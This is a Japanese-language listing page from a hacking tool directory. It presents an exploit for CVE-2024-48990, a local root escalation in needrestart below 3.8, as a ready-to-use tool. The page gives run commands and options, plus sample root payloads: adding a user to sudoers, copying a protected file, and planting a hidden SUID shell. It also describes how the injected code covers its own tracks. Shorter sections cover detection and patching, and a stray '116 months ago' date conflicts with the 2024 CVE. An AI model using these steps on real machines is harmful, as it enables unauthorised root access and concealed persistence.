Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-48990 — needrestart < 3.8 における PYTHONPATH インジェクションによるローカル権限昇格 | Kitploit
ツール/GitHubGitHub/blueberryp1ll/cve-2024-48990
特権昇格脆弱性分析エクスプロイトペネトレーションテストレッドチーミング
GitHubblueberryp1ll/cve-2024-48990

CVE-2024-48990

needrestart < 3.8 における PYTHONPATH インジェクションによるローカル権限昇格

リポジトリを見る
116ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-48990 — needrestart ローカル権限昇格

Ubuntu/Debian システム上の needrestart < 3.8 を対象とした、PYTHONPATH インジェクションによるローカル権限昇格エクスプロイトです。

概要

needrestart は Ubuntu/Debian サーバーによくインストールされるユーティリティで、ライブラリのアップグレード後にどのサービスを再起動する必要があるかをチェックします。root として実行され、通常は apt 操作の後に自動的にトリガーされるか、sudo 経由で直接呼び出されます。

Python プロセスをチェックする際、needrestart は /proc/<pid>/environ から プロセスの完全な環境を継承 して Python インタプリタを再呼び出します — これには PYTHONPATH も含まれます。権限のないローカルユーザーは次の方法でこれを悪用できます:

  1. PYTHONPATH を悪意のある importlib パッケージを含むディレクトリに設定する
  2. Python プロセスを実行し続け、needrestart がスキャン時にそれを検出するようにする
  3. needrestart の実行を待つ — needrestart は攻撃者の importlib/__init__.py を root として ロードする

影響を受けるバージョン

パッケージ脆弱なバージョン修正済みバージョン
needrestart< 3.8>= 3.8

確認済みの環境:

  • Ubuntu 22.04 LTS (Jammy) — needrestart 3.5-5ubuntu2.4
  • Ubuntu 24.04 LTS (Noble) — needrestart 3.6-7ubuntu4

使用方法

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

その後、別のターミナルから needrestart をトリガーします:

root@kitploit:~
# If you have direct sudo access to needrestart:
sudo /usr/sbin/needrestart

# Or trigger it via apt (needrestart runs as a post-apt hook):
sudo apt update && sudo apt install --reinstall coreutils

needrestart がトリガーされると、エクスプロイトは /var/tmp/.rootshell に SUID シェルを作成し、自動的にルートシェルに移行します。

自動実行が機能しない場合は、手動でシェルを起動します:

root@kitploit:~
/var/tmp/.rootshell -p

オプション

root@kitploit:~
Usage: ./exploit.sh [OPTIONS]

Options:
  -c <command>    Custom shell command to run as root (default: copy suid shell)
  -w <seconds>    Max wait time in seconds (default: 300)
  -t              Trigger mode: attempt to trigger needrestart via apt
  -n              No cleanup: keep payload directory after exploitation
  -h              Show this help message

実行例

root@kitploit:~
# Default — creates a SUID /bin/bash copy at /var/tmp/.rootshell
./exploit.sh

# Auto-trigger needrestart via apt (requires sudo apt access)
./exploit.sh -t

# Custom payload: add current user to sudoers
./exploit.sh -c 'usermod -aG sudo targetuser'

# Custom payload: read a restricted file
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'

# Extended wait (10 minutes)
./exploit.sh -w 600

動作の仕組み

root@kitploit:~
┌───────────────────────────────────────────────────────────────┐
│  1. Creates /tmp/.nr_XXXX/importlib/__init__.py with payload  │
│     that runs os.system() to copy /bin/bash as SUID binary    │
├───────────────────────────────────────────────────────────────┤
│  2. Spawns a long-running Python process with                 │
│     PYTHONPATH=/tmp/.nr_XXXX exported in its environment      │
├───────────────────────────────────────────────────────────────┤
│  3. needrestart runs (via sudo or apt hook), scans            │
│     /proc/*/environ, finds the Python process                 │
├───────────────────────────────────────────────────────────────┤
│  4. needrestart re-invokes python3 AS ROOT inheriting the     │
│     attacker's PYTHONPATH → loads malicious importlib          │
├───────────────────────────────────────────────────────────────┤
│  5. Payload executes as root: cp /bin/bash + chmod 4755       │
│     → attacker runs /var/tmp/.rootshell -p → root shell       │
└───────────────────────────────────────────────────────────────┘

注意事項

  • SUID シェルは /tmp/ ではなく /var/tmp/ に配置されます。これは /tmp が一般的に nosuid オプションでマウントされており、SUID ビットが静的に削除されるためです。
  • 悪意のある importlib/__init__.py は、ペイロード実行後に sys.path と sys.modules をクリーンアップして本来の importlib を復元するため、needrestart は目に見えるクラッシュを起こしません。
  • 偽の Python プロセスは、needrestart のインタプリタスキャンとの互換性を高めるために、実際の .py ファイル(-c ワンライナーではない)を実行します。

検出方法

このエクスプロイトが使用された兆候:

  • /var/tmp/ または /tmp/ 内の予期しない SUID バイナリ
  • 一時ディレクトリを指す異常な PYTHONPATH 値で実行されている Python プロセス
  • /tmp/.nr_* に一致するディレクトリに importlib/ サブディレクトリが含まれている

緩和策

root@kitploit:~
# Update needrestart to the patched version
sudo apt update && sudo apt install needrestart

# Or disable interpreter scanning entirely
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf

参照

  • CVE-2024-48990
  • Qualys 勧告 — needrestart LPE
  • Ubuntu セキュリティ通知 USN-7117-1

免責事項

このツールは許可されたセキュリティテストおよび教育目的のみで提供されます。所有しているシステム、またはテストする明示的な書面による許可があるシステムでのみ使用してください。コンピュータシステムへの不正アクセスは違法です。著者は誤用に対する一切の責任を負いません。

ライセンス

MIT

ツールをダウンロード